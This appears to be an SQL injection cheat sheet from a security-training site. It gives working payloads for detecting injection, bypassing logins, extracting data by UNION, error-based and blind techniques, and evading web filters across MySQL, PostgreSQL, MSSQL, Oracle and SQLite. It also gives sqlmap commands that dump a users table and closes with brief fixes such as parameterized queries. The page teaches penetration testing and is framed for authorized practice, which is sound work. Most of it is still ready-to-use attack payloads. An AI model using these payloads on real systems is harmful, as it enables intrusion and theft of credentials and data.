SQL Injection

Detection + exploitation payloads for MySQL, PostgreSQL, MSSQL, Oracle & SQLite

SQL Injection Cheat Sheet

Quick-reference payloads for detecting and exploiting SQL injection across MySQL, PostgreSQL, MSSQL, Oracle, and SQLite. For authorized testing only, practice these on the AYSEC web challenges, never against systems you don't own.

1. Detect it

Input	Meaning
'	Error / 500 → likely injectable
''	Error goes away → confirms
' OR '1'='1	Always-true condition
1-- -   1#	Comment out the rest of the query
1 AND 1=1 vs 1 AND 1=2	Boolean differential
1' AND SLEEP(5)-- -	Time-based (blind)

Comment styles: -- - (keep the trailing space), # (MySQL), /* */.

2. Authentication bypass

' OR '1'='1
' OR 1=1-- -
admin'-- -
admin'#
' OR '1'='1' LIMIT 1-- -
") OR ("1"="1

3. Find the column count

' ORDER BY 1-- -        -- increase until it errors
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -

4. UNION-based extraction

' UNION SELECT 1,2,3-- -                      -- find which columns print
' UNION SELECT NULL,@@version,NULL-- -        -- MySQL / MSSQL
' UNION SELECT NULL,version(),NULL-- -        -- PostgreSQL

Enumerate the database (MySQL)

' UNION SELECT table_name,NULL FROM information_schema.tables-- -
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT group_concat(username,0x3a,password),NULL FROM users-- -

5. Error-based

MySQL:

' AND extractvalue(1,concat(0x7e,version()))-- -
' AND updatexml(1,concat(0x7e,(SELECT user())),1)-- -

MSSQL:

' AND 1=CONVERT(int,(SELECT @@version))-- -

6. Blind: boolean

' AND SUBSTRING((SELECT database()),1,1)='a'-- -
' AND (SELECT COUNT(*) FROM users)>0-- -

7. Blind: time-based

DBMS	Payload
MySQL	' AND IF(1=1,SLEEP(5),0)-- -
PostgreSQL	'; SELECT pg_sleep(5)-- -
MSSQL	'; WAITFOR DELAY '0:0:5'-- -
Oracle	' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)-- -

8. Per-DBMS quick reference

	MySQL	PostgreSQL	MSSQL	Oracle
Version	@@version	version()	@@version	banner FROM v$version
Current DB	database()	current_database()	db_name()	,
Current user	user()	current_user	user_name()	user FROM dual
Concatenate	concat()	||	+	||

9. WAF / filter bypass

• Case: UnIoN SeLeCt
• Inline comments: UN/**/ION SE/**/LECT
• Encoding: URL-encode, double-encode, hex (0x61 = a)
• Whitespace: %09 %0a %0b %0c %0d, /**/, +
• No-quote strings: CHAR(97), 0x61

10. Automate (authorized engagements only)

sqlmap -u "https://target/item?id=1" --batch
sqlmap -u "..." --dbs
sqlmap -u "..." -D appdb -T users --dump
sqlmap -r request.txt --level=5 --risk=3   # from a saved Burp request

11. Fix it

• Parameterized queries / prepared statements: the only real fix.
• Use an ORM correctly; never string-concatenate user input into SQL.
• Least-privilege DB accounts; disable xp_cmdshell / dangerous file functions.
• Input validation + WAF are defense-in-depth, not the primary control.

Want to actually try these hands-on? Spin up the web challenges on AYSEC and practice SQLi safely in a sandbox.